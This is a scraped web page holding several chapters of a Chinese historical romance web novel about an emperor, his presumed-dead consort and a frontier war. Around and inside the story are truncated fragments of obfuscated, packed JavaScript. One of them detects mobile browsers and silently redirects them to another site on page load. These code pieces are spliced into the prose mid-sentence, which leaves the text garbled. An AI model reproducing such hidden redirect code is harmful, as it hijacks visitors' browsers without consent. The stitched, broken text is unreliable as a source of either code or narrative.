d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356389|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一触即发,我军若不妥善应对,狄戎铁骑一日便可驰行百余里,所过之处,如砍瓜切菜……” 宇文尚目光巡弋过沙盘上绵延的北方边境线,眉头紧锁,心内已然有了决断。 一日后,宏伟的宫门前。 宇文尚一身玄黑金鳞重甲,腰悬宝剑“龙渊”,骑在一匹通体如墨、神骏非凡的“乌云踏雪”之上,冕旒已换成了便于行动的金冠,更显帝王威仪与沙场锐气。他身后,是肃杀严整、盔明甲亮的数万御林军精锐。 以王德全为首的内侍、以及军机处几位重臣此时却跪在御道旁,涕泪俱下,“陛下!北境凶险,刀剑无眼!您乃万乘之尊,江山社稷之所系!万万不可亲临险地啊!请陛下三思!” “是啊,陛下!御驾亲征非同小可!况…况国本未固,储位空悬,万一…万一…” 一位老臣更是斗胆直言,触及了最敏感的话题。 宇文尚勒住躁动的战马,冰冷的紫眸扫过跪伏的众人,那目光如同实质的寒冰,让所有人瞬间噤声。 他缓缓开口,声音不高,却字字如重锤砸在众人心头: “储位空悬?呵……”他发出一声意味不明的冷笑,目光锐利地钉在那位老臣身上,“爱卿忧国忧君,朕心甚慰。既然如此,不如朕现在就拟旨,册封爱卿为太子?如何?” “臣等万死!”几位大臣吓得魂飞魄散,以头抢地,浑身筛糠般颤抖,再不敢多言一字。 王德全更是面无人色,连连叩首。 宇文尚收回目光,不再看他们一眼,猛地一抖缰绳,“驾!” “乌云踏雪”长嘶一声,如离弦之箭般冲出宫门。数万铁骑紧随其后,沉重的马蹄声踏碎了京城的宁静,卷起漫天烟尘,如同一条黑色的怒龙,直扑北境烽烟! 距离黑石堡数十里外,一片隐秘的山谷密林中。 疲惫的云泽部族人经过几日迁徙,终于来到了首领所说的那片密林附近,他们在短暂的休整中抓紧时间歇息、喂马,为明日往森林更深处转移做准备。 篝火映照着褚良沉静而略带忧虑的脸庞。 他站在一处高坡上,遥望着比往日更加萧肃,暗沉的黑石堡方向,那里安静的不像有数万大军驻扎。 可打探情报的族人带回的消息清晰无比:北朝皇帝宇文尚,御驾亲征,已驾临黑石堡! 看来北朝军队的军纪确实森严,宇文尚依旧谋算缜密,只待狄戎大军自投罗网。 一想到那个名字,褚良的心脏便像被人扎进了一根淬了毒的针。 即使隔着遥远的距离和八年的时光,那刻骨的恨意依旧瞬间翻涌上来,几乎让他窒息。他攥紧了拳头,指节发白,眼中情绪翻腾,复杂难言。 有恨,有不甘,有看到北境防线因自己情报而严阵以待的如释重负,更有一丝连他自己都不愿承认的、被强行压下的波澜——那个男人,就在那里。 “阿爹,”一个稚嫩的声音在他身后响起。褚昭不知何时走了过来,小脸上带着长途迁徙后的疲惫,眼神却比以往更加明亮懂事。他安静地坐在褚良身边,学着父亲的样子望向远处黑暗的城寨。 褚良收敛心神,轻轻摸了摸儿子的头:“累了吧?去睡吧。” 褚昭摇摇头,沉默了一会儿,忽然仰起脸,墨紫色的眼眸在篝火的映照下,如同最纯净的宝石,带着孩童特有的直白和忐忑? 他犹豫了一下,开口说, “阿爹,今天布仁家的老大骂我是没娘的孩子……我揍了他,还把他的弓折断了,你不会揍我吧?” 褚良身体微不可察地一僵,并没有立即接话。 “我知道我是阿爹的孩子,”褚昭的声音很轻,带着一丝不安,“可是…别的孩子都有阿妈,或者…或者另一个阿爸。我听到…有人悄悄说,陈锋叔叔…是不是?”他清澈的眼睛里充满了对答案的渴望和对未知身份的迷茫。 褚良的心猛地揪紧。他蹲下身,与儿子平视,大手捧住儿子的小脸,声音有些干涩:“昭昭,你是阿爹最珍贵的宝贝,这一点永远不会变。陈锋叔叔,是我们最亲的家人,是阿爹最好的兄弟,他像爱护自己的眼睛一样爱护你,但他不是你的另一个父亲。” 他深吸一口气,仿佛下了很大的决心,才缓缓道:“你的父亲…另有其人。” 褚昭的眼睛瞬间睁大了,充满了震惊和好奇:“另有其人?那…他是个什么样的人?他在哪里?为什么…为什么他不和我们在一起?”一连串的问题像小锤子敲在褚良心上。 褚良看着儿子酷似那人的眉眼,尤其是那双独一无二的墨紫色眸子,喉头滚动了一下,艰难地开口:“在别人眼里…他…是个很厉害的人,是个…大英雄。”他语焉未详,只给出了一个模糊的评价。 “大英雄?”褚昭眼中闪过一丝光亮,随即又被更大的困惑取代,“那…那阿爹你为什么要和他分开?是因为他不喜欢我吗?”孩子的心思总是直接而敏感。 “不!不是!”褚良立刻否认,语气带着急切,“他……”那些不堪的往事,那些屈辱、背叛和刻骨的恨意,如何能对一个孩子诉说?他看着儿子纯净期待的眼神,所有的话语都堵在了喉咙里。 最终,褚良只是再次将儿子紧紧抱在怀里,下巴抵着孩子柔软的发顶,声音低沉而疲惫:“昭昭,有些事情…很复杂。等你再长大一些…阿爹会告诉你的。现在,你只要记住,阿爹爱你,陈锋叔叔也爱你,我们云泽部所有的人,都是你的家人。这就够了,好吗?” 褚昭似懂非懂地点点头,依偎在父亲怀里,小手无意识地抓紧了褚良的衣襟。他能感觉到父亲身体的僵硬和内心巨大的波澜。 夜色渐深,营地归于寂静。褚昭在父亲的守护下沉沉睡去,小脸上还带着未解的困惑。褚良却毫无睡意。他轻轻将儿子放好,盖好毛毯,独自走出帐篷。 清冷的月光洒满山谷,远处黑石堡方向的天空,似乎比别处更亮一些。他抬头仰望着浩瀚的星空,那璀璨的银河仿佛倒映着八年前死牢的烈火,映照着宇文尚冰冷而充满占有欲的眼神,映照着儿子那双纯真又带着那人印记的眼眸…… 恨意如同冰冷的毒蛇,再次缠绕上心脏,带来尖锐的疼痛。每一次想起,都像揭开未曾愈合的伤疤。可偏偏,他与那人之间,永远割裂不开的,是这个流淌着两人血脉、被他视若生命的儿子。他不想让昭昭生活在恨意里,可他自己,又如何能真正放下? 夜风呜咽,吹过林梢,如同一声声沉重的叹息。褚良的身影在星空下显得格外孤寂,内心翻涌的巨浪,远比即将到来的北境血战,更让他难以平静。 与此同时,狄戎王帐内却是一片暴怒的咆哮。 “废物!宇文钰那个废物!”阿史那铎冽如同一头被激怒的恶狼,将手中的金杯狠狠砸在地上,酒液四溅。“这才几天?!南朝就丢城失地,连临安城都不要了,想弃守南逃?!指望他们牵制宇文尚,简直是放屁!” 他双眼赤红,环视帐内噤若寒蝉的各部首领:“不能再等了!再等下去,南边的肥肉没吃到,宇文尚的援军只会越来越多!传令下去!集结所有勇士!就在今夜!给本王踏平黑石堡!用北朝人的粮食和铁器,喂饱我们的战马和弯刀!让宇文尚看看,谁才是草原真正的主人!” 23. 第 23 章 狄戎人的进攻,在夜幕最深沉的子时骤然爆发。 没有号角,没有呐喊,只有无数马蹄践踏大地的闷雷声由远及近,如同潮水般涌向黑石堡的城墙。 火把在黑暗中连成一片跳跃的海洋,映照着狰狞的面孔和冰冷的弯刀。 “敌袭——!!!”凄厉的警哨瞬间撕裂了夜的寂静。 黑石堡城头,早已严阵以待。 宇文尚身披重甲,矗立在最高处的瞭望台上,玄色披风在凛冽的夜风中猎猎作响。 他的身影如同定海神针,让城上守军心中稳如磐石。 “弓弩手!仰角四十五!覆盖射击!”宇文尚的声音冷静得如同冰封的河面,穿透了初时的喧嚣。 令旗挥动。 刹那间,城墙上万箭齐发!密集的箭雨带着凄厉的破空声,如同死亡的乌云,狠狠砸向冲锋的狄戎骑兵前锋。 惨叫声、战马嘶鸣声顿时响成一片,冲锋的势头为之一滞。 然而,狄戎人悍不畏死。后续的骑兵踏着同伴的尸体,如同汹涌的浪涛,继续扑向城墙。 简陋的云梯被竖起,钩索抛上城垛,无数狄戎悍军口衔弯刀,开始蚁附攻城! “滚油!擂石!火把!”宇文尚的命令简洁有力。 滚烫的火油顺着城墙倾泻而下,瞬间点燃了攀爬的狄戎人。凄厉的哀嚎令人毛骨悚然。 巨大的擂石轰然砸落,将云梯连同挂在上面的敌人砸向地面,压得粉身碎骨。 燃烧的火把被掷入城下密集的敌军阵营里,点燃了他们衣物和毛发。 战斗瞬间进入白热化。 城墙上下,成了血肉磨坊。箭矢呼啸,刀光剑影,滚木礌石如雨点般落下,燃烧的火油将夜空映照得如同白昼。 狄戎人却并无颓势,他们如同疯狂的狼群,一波接着一波,用血肉之躯冲击着坚固的堡垒。 守军依托地利,奋力砍杀着爬上城头的敌人,每一寸城墙都浸透了鲜血。 宇文尚目光如鹰隼,冷静地观察着战场态势。他不断下达指令,调动预备队填补缺口,指挥投石机精准打击狄戎的后续梯队和简陋的攻城器械。 “陛下!西侧角楼压力太大!狄戎集中了精锐在猛攻!” 一名将领满脸血污,嘶声禀报。 “调第三营重甲兵顶上去!命弩车集中火力,覆盖角楼下方五十步区域!”宇文尚多谋善断,当即下达指令。 “蒙毅!你带五百精骑,从南门悄悄出城,绕到他们攻城主力的侧翼,给朕狠狠地冲杀一阵,打乱他们的阵脚!” “末将领命!”蒙毅眼中闪烁着嗜血的光芒,即刻领命而去。 宇文尚的战术精准而狠辣。 重甲兵如同移动的铁壁,牢牢钉在了堪堪失守的角楼。密集的弩箭将角楼下方的狄戎士兵射成了刺猬。 而蒙毅率领的精骑如同黑夜中突然亮出的獠牙,从侧翼狠狠插入狄戎攻城的核心区域,瞬间造成了巨大的混乱,迫使狄戎不得不分兵应对,攻势为之一缓。 战斗从深夜一直持续到黎明。 狄戎人付出了惨重的代价,尸体在城墙下堆积如山,黑石堡却依旧如同磐石般屹立不倒。 初升的朝阳给这座浴血的堡垒镀上了一层悲壮的金红色,也照亮了城下狄戎人眼中难以掩饰的挫败和恐惧。 阿史那铎冽看着伤亡惨重的部众,听着将领们报告着惊人的损失数字,脸色铁青。 他狠狠一鞭抽在座下战马的脖子上,发出不甘的咆哮,“撤!先撤下来!” 他知道,强攻已经不可能了。 数十里外的密林中,褚良和陈锋也听到了远方持续了一夜的震天杀声。 火光映红了半边天空,即便隔着这么远,也能感受到那场血战的惨烈。 “阿爹,那边打得好厉害……” 褚昭被惊醒,依偎在父亲身边,小脸上带着惊惧。 “嗯。”褚良紧抿着唇,目光凝重地望向黑石堡方向。 虽然知道宇文尚必有准备,但狄戎人如此疯狂的进攻,还是让他的心悬着。 “锋哥,”褚良转向陈锋,语气果决,“按原计划,你立刻带领族人向‘鹰回涧’深处转移。那里地势更险要,入口隐秘,狄戎大队人马难以展开。” “那你呢?”陈锋立刻听出不对。 “我带一队轻骑断后,确保没有狄戎溃兵或探子尾随我们。同时……” 褚良的目光再次投向黑石堡方向,“我得亲眼看看,黑石堡是否安在。若是城破……” 他没有说下去,但陈锋明白,若城破,狄戎铁蹄肆虐,云泽部在这附近也将无处容身。 陈锋深知褚良决定的事难以更改,且此举确实必要。 他用力一点头,“好!阿良,务必小心!我们在鹰回涧汇合!” 很快,云泽部族人在陈锋的组织下,悄无声息地收拾行装,扶老携幼,如同溪流般汇入更幽深的密林。 褚良则挑选了二十名最精悍、骑术最好的部族勇士,人人佩刀携弓,翻身上马。 “走!”褚良低喝一声,带着这支轻骑小队,如同幽灵般在密林边缘穿梭,向着黑石堡的方向谨慎靠近。 他们的任务是警戒后方,同时寻找一处视野开阔的高地,观察战局。 正如褚良所料,强攻黑石堡失败的狄戎人并未死心。 阿史那铎冽并非莽夫,他迅速转变了策略。 狄戎大军如同潮水般退去,却并未远离。他们凭借对地形的熟悉,化整为零,如同幽魂般隐匿进了黑石堡以北、以西的广袤河谷地带。那里水网纵横,草甸茂密,提供了绝佳的藏身之所。 随后,狄戎人的骚扰开始了。 小股精锐骑兵如同鬼魅般突然出现在黑石堡外围的哨卡、运粮队,甚至是一些防御薄弱的村寨。他们烧杀抢掠,制造恐慌,一击即退,绝不停留。 北朝军队一旦追击,他们便利用复杂的地形迅速消失。这种神出鬼没的袭扰战术,让黑石堡守军疲于奔命,物资补给线也受到严重威胁,军民人心惶惶。 狄戎人显然打起了消耗战的主意,试图拖垮北朝的边军。 黑石堡内,虽然击退了强敌,但气氛并未轻松。 宇文尚站在城头,看着远处河谷地带升起的几缕示警狼烟,眉头紧锁。狄戎的转变在他的预料之中,却也更加棘手。 他召见了黑石堡守将张铎。 “张铎,”宇文尚的声音沉稳,徐徐道,“如今狄戎隐匿河谷,袭扰不断,我军虽能固守,却难以根除。此前,你邸报中所述的云泽部……他们的首领能否继续为我军刺探狄戎动向?” 张铎乃低阶将领,此番首次面圣,在宇文尚面前十分紧张,尤其又涉及如此机密重大之事,他跪伏在地,不敢妄言半句。 宇文尚明白他的顾虑,着王德全搬来矮凳,赐座。 见张铎诚惶诚恐半坐在小凳上,宇文尚继续说道,“云泽部久居草原,必然比我们更了解狄戎之凶残,若与我们合作,必然顾虑良多。” 闻言,张铎忙点头,说道,“圣上所虑极是,云泽首领乌其乐确实行事谨慎,低调。” 但宇文尚话锋一转,说道,“不过,你可转告此人,若能在此次北境之战中助朝廷平定狄戎之患。朕可保他云泽部世代安宁,甚至……”他微微倾身,声音压低却带着无上的威权,“扶持他为草原各部之首,统领漠北!此诺,朕金口玉言!只是不知,他可靠与否?” 张铎闻言,心中巨震,没想到皇帝竟有如此大的手笔。 他连忙恭敬答道,“回陛下,末将与乌其乐首领相识已有五载。此人虽为汉人,流落草原,却绝非池中之物!其人有勇有谋,胆识过人,更兼心地仁厚,极重信义。收容部众皆为老弱妇孺,在草原各部间周旋,竟能保得一方平安,实属不易。末将当年遇险,若非他仗义相救,早已命丧黄泉。后来其幼子病重,末将也只是略尽绵薄之力,他却始终铭记于心。此次王帐大会,他拒绝铎冽的威逼利诱,更冒险送出如此关键情报,足见其心向王化,且深明大义!” 见张铎言语间对此人充满真情实意的赞美,宇文尚便好奇追问了一句,“此人年岁几何,相貌如何?” 说起乌其乐的样貌,张铎眼神一亮,道,“乌其乐……约莫二十七八岁,草原风霜催人,具体倒不好说。他身量颇高,约七尺有余,身形劲瘦挺拔,如山间青松,气度沉凝。面容…极为俊朗,只是常带风霜之色,眼神锐利而沉静,令人望之生敬。尤其一身箭术,出神入化,末将生平仅见!” 宇文尚听着张铎的描述,尤其是那“身量挺拔”、“面容俊朗”、“箭术出神入化”等字眼,一个熟悉得刻入骨髓的身影不受控制地在他脑海中越发清晰起来,与“乌其乐”的形象隐隐重叠。 他的心不受控制地越跳越快,一股难以言喻的激动和某种荒谬绝伦却又让他无法抑制的希冀猛地攫住了他! 他强压下翻腾的心绪,声音带着一丝不易察觉的紧绷,追问道,“可还有其他显著特征?” 张铎思索了一下,“显著特征……”他努力回想,“此人似乎不喜多言,眉宇间常带忧思,特征倒是……” “他…他胸口可有……” 宇文尚的声音带着难以抑制的颤抖,急切地追问,几乎想立刻确认那个荒谬却让他心跳如鼓的猜想! “陛下!” 一直侍立在侧的王德全,看着皇帝即将失态的模样,心头剧震,马上出言打断。 他太了解皇帝对“亡故”君后的执念了,不得不硬着头皮,上前一步,声音带着悲悯和小心翼翼的提醒, “陛下…草原之上,汉人面孔虽少,也非绝无仅有!这云泽部首领,许是…许是身形相似之人?您要保重龙体,万不可…万不可因思念过甚而……” 王德全没有说下去,但意思已经再明白不过——君后已死,不可能死而复生出现在草原。 宇文尚如同被一盆冰水当头浇下。 王德全的话像冰冷的瀑泉,泼灭了他瞬间燃起的狂热火苗。 他高大的身躯晃了晃,扶住了冰冷的城垛。 是啊…明懿宫的灵位…那场焚尽一切的大火…他亲手确认过的玉佩…铁一般的事实摆在眼前。 宇文尚缓缓闭上眼,再睁开时,眼中那疯狂的光芒已经褪去,只剩下深不见底的疲惫和浓得化不开的沉郁。 他没有再看张铎,只是挥了挥手,声音沙哑得厉害,“……知道了。你下去吧。守好堡寨,提防狄戎袭扰。” 张铎不明所以,但感受到了皇帝身上散发出的巨大悲恸与寒意,不敢多问,忙躬身退下。 是夜,黑石堡主帅府邸内。 宇文尚毫无睡意。他拒绝了侍从的服侍,独自一人坐在案前。 窗外是清冷的月光,远处河谷地带偶尔传来几声夜枭的啼叫,更添寂寥。 他摩挲着拇指上的羊脂玉扳指,思绪却飘回了很久以前。 这黑石堡附近,正是当年皇家秋狄围场的所在。就是在这里,他第一次遇见了那个倔强、勇敢、像小豹子一样的青年侍卫——褚良。 那时阳光正好,青年拉满弓弦,箭矢精准地命中猛虎,那专注而充满生气的侧脸,曾是他冰冷宫廷生涯中最亮的一抹色彩。 悔恨如同毒藤,紧紧缠绕住心脏,越收越紧。 “良儿……”低沉的呼唤在空寂的房间内响起,带着无尽的痛苦,“若当初…朕没有疑你…没有折辱你…没有将你打入那死牢…我们…会是什么样子?” 他仿佛看到褚良站在他身边,如同当年在围场策马时那样,眼神明亮而忠诚。 他们会并肩治理这天下,或许…还会有可爱的孩儿…… 然而,冰冷的现实击碎了所有幻象。是他亲手将那个青年推入了地狱,也亲手熄灭了自己生命中唯一的光亮。 巨大的空虚和孤独感如同潮水般将他淹没。他猛地灌下一口烈酒,辛辣的液体灼烧着喉咙,却暖不了那颗早已冰封的心。 这一夜,对宇文尚而言,注定漫长而无眠。 黑石堡血战的惨败,如同一记响亮的耳光,狠狠抽在阿史那铎冽的脸上。更让他惊怒交加的是宇文尚的御驾亲征! 他明明计划周密,联合南朝佯攻牵制,意图趁北境空虚一击得手!可宇文尚不仅提前到了黑石堡,还布下了天罗地网等着他! 这绝不是巧合!计划必然泄露了! 王帐内气氛压抑得令人窒息。各部首领噤若寒蝉,看着暴怒如雷的铎冽。 “废物!都是废物!” 铎冽一脚踹翻了面前的矮几,金杯玉碗滚落一地。 “宇文尚怎么会来得这么快?!怎么会知道我们要打黑石堡?!说!是谁走漏了风声?!是谁背叛了长生天?!” 他血红的眼睛如同饿狼般扫视着帐内的每一个人,充满了疯狂的杀意。 “大王息怒!” 一个依附于阿史那部的小首领战战兢兢地开口,“参加王帐大会的部落众多,难保没有……” “难保没有什么?!” 铎冽猛地打断他,声音尖利,“除了那个不识抬举的云泽部!还有谁敢当面拒绝本王?!还有谁在大会之后连夜像丧家之犬一样逃了?!除了那个汉人杂种‘乌其乐’,还能有谁?!一定是他!只有他有动机,也只有他有胆子把消息送给北朝!” 帐内众人面面相觑,细想之下,确实只有云泽部的首领乌其乐,不仅当场拒绝合作,还迅速逃离,行踪可疑。 泄密的最大嫌疑,瞬间锁定在褚良和他的云泽部身上。 “好!好个乌其乐!” 铎冽怒极反笑,笑容狰狞可怖,“坏本王大事,投靠北朝!本王要让他和他的那些老弱病残,死无葬身之地!” 他猛地转向负责斥候的将领,咆哮道, “立刻,给本王派出所有探马!就算把草原翻过来,也要找到云泽部那群老鼠藏在哪里!找到他们,给本王杀光!一个不留!用他们的头盖骨做酒碗!” 看着斥候将领匆匆离去,铎冽胸中的怒火依旧熊熊燃烧。 仅仅报复云泽部还不够,他要让宇文尚付出更惨痛的代价!泄密之恨与攻城之辱,必须用更毒辣的手段讨回来! “宇文尚那个狗皇帝,到底有什么弱点?” 铎冽烦躁地在王帐内踱步,目光扫过帐内众人,最后落在一个留着山羊胡、眼神阴鸷的汉人谋士身上。 “宇文惠难道没跟你说过?你们南朝莫不都是些酒囊饭袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是啊,陛下!君后…君后八年前已薨逝,众目睽睽,灵位供奉于宫中,岂能有假?这定是铎冽那厮的毒计!” 赵崇也苦口婆心地劝谏。 大臣们跪倒一片,言辞恳切,分析利害。 宇文尚被众人拦着,听着他们理智的分析,沸腾的热血渐渐冷却下来。理智告诉他,这确实是狄戎最可能使用的、针对他心理弱点的诱敌之计。 明懿宫冰冷的灵位,再次浮现在眼前。 他握着剑柄的手指因为用力而骨节发白,胸膛剧烈起伏,最终,他颓然地松开了手,声音嘶哑而疲惫, “…朕…知道了。都退下吧。” 众人见状,不便再劝,但兀自担忧,不敢真的离开,只是退到门外守候。 宇文尚独自站在空荡荡的大厅里,望着门外沉沉夜色,内心如同被撕裂。理智告诉他这是陷阱,可那万分之一的、关于褚良可能还活着的渺茫希望,却如同最炽热的毒火,灼烧着他的五脏六腑,让他根本无法平静,更无法死心。 褚良带领的轻骑小队在密林边缘潜伏观察了一天一夜。 确认黑石堡巍然不动,狄戎大军已退入河谷地带后,他稍稍松了口气,正准备带队返回鹰回涧与族人汇合。 然而,就在他们即将离开潜伏点之际,褚良敏锐地捕捉到远处河谷边缘,一小队约莫十人的狄戎轻骑,正鬼鬼祟祟地朝着他们这个方向搜索而来! 看其行进路线,似乎并非漫无目的,而是带着探查的意图。 “不好!”褚良心头一沉, “他们可能发现我们转移的痕迹了!不能让他们活着回去报信!” 他当机立断,对身边的勇士低喝, “准备弓箭!无声解决!一个不留!”眼神瞬间变得冰冷锐利,如同盯上猎物的鹰隼。 小队成员都是精挑细选的好手,立刻无声地张弓搭箭。 褚良更是屏息凝神,手中强弓拉成满月,箭簇稳稳锁定对方领头骑士的咽喉。 “嗖!嗖!嗖!”数支利箭几乎同时离弦,带着死亡的尖啸,精准地没入目标! 那队狄戎探子猝不及防,连惨叫都来不及发出,便纷纷栽落马下。 褚良迅速带人上前检查,确认全部毙命,并快速清理了现场痕迹。但一丝不安却在他心中萦绕不去。狄戎探子出现在这个方向,绝非偶然。 云泽部的行踪,可能已经暴露了! 他不敢耽搁,立刻带队全速返回鹰回涧。 当褚良回到新的营地时,心更是沉到了谷底。 眼前的景象比他预想的更糟。长途跋涉、担惊受怕,加上山林中湿冷瘴气,许多老人和孩子病倒了,躺在简陋的毡毯上痛苦呻吟、发着高烧。几个年幼的孩子因为饥饿和不适,发出细弱的啼哭,在寂静的山林中显得格外揪心。 陈锋正焦头烂额地指挥着仅有的、懂点草药的人熬制药汁,但效果甚微。整个营地弥漫着一股压抑的病气。 “阿良!你回来了!” 陈锋看到他,脸上露出一丝希望,随即又被沉重取代,“情况不好…好几个老人和娃娃病得厉害,我们带的药快用完了,这样下去…” 褚良看着族人们憔悴痛苦的脸庞,尤其是角落里一个发着高烧、小脸通红的孩子,拳头紧紧攥起。 向更深更险峻的山林转移?以族人现在的状态,无疑是送死。 “不能走了!”褚良声音低沉但坚决, “锋哥,立刻组织人手,在营地周围设置更隐蔽的陷阱和警戒哨。把所有能藏匿的痕迹都处理好。我们就在这里,依托天险,死守!同时,想办法派几个最机灵、身体好的小伙子,冒险潜出山林,去附近的汉人村镇,想办法弄些药材和粮食回来。记住,务必小心,绝不能再暴露行踪!” “好!”陈锋也知道这是目前唯一的选择, “你看到那些狄戎探子了么?” “杀了。但恐怕…这只是开始。” 褚良眼神凝重,“我们暴露的风险很大。从现在起,所有人进入最高戒备!” 就在褚良和陈锋为族人的生存焦头烂额,宇文尚在谣言与理智的撕扯中彻夜难眠之际,狄戎的毒计终于图穷匕见。 翌日清晨,黑石堡城下。 一队狄戎骑兵耀武扬威地出现在射程之外。 为首的狄戎将领手持一个巨大的牛角号,鼓足力气吹响。 沉闷而悠长的号角声,带着挑衅的意味,传遍了整个黑石堡。 紧接着,那将领运足内力,用生硬的汉话,对着城头方向,声嘶力竭地大吼,声音如同破锣,清晰地传到城上守军和刚刚闻讯登上城楼的宇文尚耳中。 “宇文尚!狗皇帝!听着!你日思夜想的君后褚良,如今就在我们大王手中!想救他吗?有种就出城来!与我草原勇士决一死战!若是个缩头乌龟,就等着给你的君后收尸吧!哈哈哈哈!” 猖狂的笑声在空旷的战场上回荡,充满了恶毒的羞辱。 城头之上,一片死寂。 所有将士的目光,都不由自主地、带着惊疑和担忧,投向了他们那位刚刚经历了一夜煎熬的帝王。 宇文尚站在城楼最高处,玄甲在晨光下泛着冷硬的光泽。 当听到“褚良”二字时,他的身体猛地一震,紫眸瞬间缩紧,死死盯住城下那个叫嚣的狄戎将领,握着剑柄的手,青筋暴起,一股狂暴的杀意不受控制地从他身上爆发出来,几乎要冲破理智的牢笼! 24. 第 24 章 云泽部里,两名最机灵也略通汉话的年轻勇士历经艰险,终于避开了狄戎游骑的封锁,潜入了离鹰回涧最近的一个汉人村镇。 他们按照褚良的指示,用随身携带的少量草原皮货和药材,小心翼翼地换取了急需的粮食和几包治疗风寒发热的草药。 更重要的是,他们设法秘密联系上了张铎安插在镇上的一个线人。 “首领命我们转告张将军,”其中一名勇士压低声音,语速飞快,“狄戎主力并未远遁,就藏在‘鬼哭峡’以西的‘野狼谷’深处!谷口狭窄,内有水草,易守难攻,是他们的临时巢穴!”他着重强调了位置信息。 线人闻言,神色凝重地接过勇士递来的、标记着野狼谷位置的简易草图,郑重道,“事关重大,我定当火速送达张将军!” 他犹豫了一下,还是忍不住低声问道,“另外……镇上近来有些流言,说北朝的君后被狄戎掳去了?此事……云泽部可曾听闻?是真是假?” 勇士愣了一下,随即摇头,脸上带着茫然和谨慎,“这个……我们只负责传递首领交代的军情。草原上流言蜚语很多,真真假假难以分辨。首领未曾提及此事,我们……也不知晓真假。” 他顿了顿,补充道,“首领只让我们传递狄戎藏身之所,其他的……并未多言。” 线人若有所思地点点头,不再追问, “明白了。辛苦二位,请速回,路上务必小心!” 当褚良拿到换回的物资和线人的回信时,心头稍安。 但听到关于谣言的复述,不禁眉头微蹙,尤其是狄戎宣称“褚良”在他们手中时,一股怒意涌上心头。 “歹毒!”褚良低声咒骂。 狄戎此举,不仅是要激宇文尚出城,更是要彻底败坏自己在北朝的名声! 他眉头紧锁,额角血管突起。 然而,愤怒之余,一丝苦涩的笃定也随之而来——宇文尚不会上当的。 在那个男人眼里,自己不过是个背叛者,一个低贱的玩物,一个早已“死去”的、不值得他冒任何风险的污点。 冷酷如宇文尚,绝无可能会为一个低贱“叛徒”的生死而冲动,狄戎人这次要失算了。 挥挥手让勇士下去休息,褚良心中那丝笃定更甚——宇文尚若足够理智,就该明白这谣言不值一哂。 黑石堡内,宇文尚几乎在同一时间收到了张铎呈上的密报。展开那张简陋却标注清晰的野狼谷草图,他眼中寒光一闪。好个铎冽,果然狡诈,竟藏在这种地方! “云泽部的情报?”宇文尚问道,声音听不出情绪。 “是,陛下。是其部勇士冒险送出,还带回了一些急需的草药和粮食回去。” 张铎如实禀报,心中对乌其乐首领的处境更添担忧。 他迟疑了一下,还是补充道,“据线人回报,问及狄戎所散播的……关于君后的谣言时,云泽部勇士只言传递军情是首领之命,对谣言……表示不知真假,未作评论。” 宇文尚的目光在草图上游移,同时心中沉了沉,看来云泽部即便送出如此关键情报,也只想明哲保身,不愿与朝廷有更深瓜葛,对那谣言更是避之唯恐不及。 他挥挥手让张铎退下,目光再次投向城外狄戎叫嚣的方向,心中的焦躁如同野草般疯长。 狄戎的叫骂已经持续两天。那些污言秽语和关于“褚良”的传闻,像毒针一样反复刺扎着宇文尚的神经。理智告诉他这是陷阱,是铎冽最卑劣的攻心计。 可那万分之一的渺茫希望,却如同黑暗中的鬼火,引诱着他走向深渊。 第三天清晨,狄戎的叫骂声中多了一股不同寻常的得意。 那名狄戎将领再次出现在城下,这一次,他并未立刻开口辱骂,而是张弓搭箭,将一支绑缚着一缕黑色发丝的箭矢,“嗖”地一声射上了黑石堡的城楼! 箭矢深深钉在城楼的一根木柱上,尾羽兀自颤动。 那缕发丝在晨风中微微飘荡。 “宇文尚!看清楚了!”狄戎将领用生硬的汉话嘶吼,声音充满了恶毒的戏谑,“这是你那好君后的头发!他说他后悔了,后悔当初包庇那废帝小崽子,伤了你的心!后悔叛逃故土!他日夜以泪洗面,只求你原谅,盼你来救他!哈哈哈!狗皇帝,你的君后在哭呢!你忍心看他死吗?!” 城头一片死寂。 所有将士都屏住了呼吸,目光聚焦在那缕发丝和他们的皇帝身上。 宇文尚的身体猛地绷紧,如同拉满的弓弦,他的目光死死钉在那缕随风飘动的黑色发丝上,理智的堤坝在这一刻轰然崩塌! 那不是冰冷的文字,不是虚无的谣言,那是一缕属于一个活人的发丝! 它无声地证明着,褚良……可能真的还活着!就在狄戎手中,正在承受屈辱和折磨! “他说他后悔了……盼你来救他……”狄戎将领的话如同魔咒,在宇文尚混乱的脑海中反复回响。 “陛下!此乃狄戎诡计!切勿上当啊!” 蒙毅、赵崇等将领见状,心胆俱裂,齐刷刷跪倒劝阻。 宇文尚置若罔闻,他的紫眸中翻涌着滔天的怒火、刻骨的仇恨和一种近乎疯狂的偏执。 他无法再思考,无法再权衡!哪怕只有万分之一的可能,哪怕前方是刀山火海,他也必须去!他不能让良儿再受半点苦楚!他欠他的,已经太多太多…… 就在这时,黑石堡侧翼的烽燧突然燃起示警的狼烟! 斥候飞马来报,“陛下!狄戎副统领穆勒尔率五千精骑,绕过河谷,正猛攻我西侧运粮要道!” 这声军报如同点燃炸药的引信,宇文尚眼中最后一丝迟疑彻底消失,取而代之的是狂暴的杀意! “蒙毅,点齐五千御林铁骑!随朕出城,截杀穆勒尔!” 宇文尚的声音如同九幽寒冰,毅然决然道, “朕倒要看看,铎冽还有什么把戏!” “陛下,三思啊!” 众将骇然失色,但宇文尚已箭步流星般冲下城楼。 沉重的堡门轰然洞开,宇文尚一马当先,玄甲黑骑如同决堤的洪流,裹挟着帝王的狂怒,朝着狼烟示警的方向,狂飙而去! 鹰回涧深处,营地的气氛因换回的粮食和草药而稍稍缓和。 几个病重的孩子服了药,高热渐退,让愁云惨淡的营地透进一丝微光。 陈锋看着褚良紧锁的眉头,试探着开口,“阿良,张铎将军既然肯援助,说明朝廷还是认这份情。如今狄戎主力位置已报,若能再助朝廷一举剿灭铎冽,或许……” “不必说了,锋哥。” 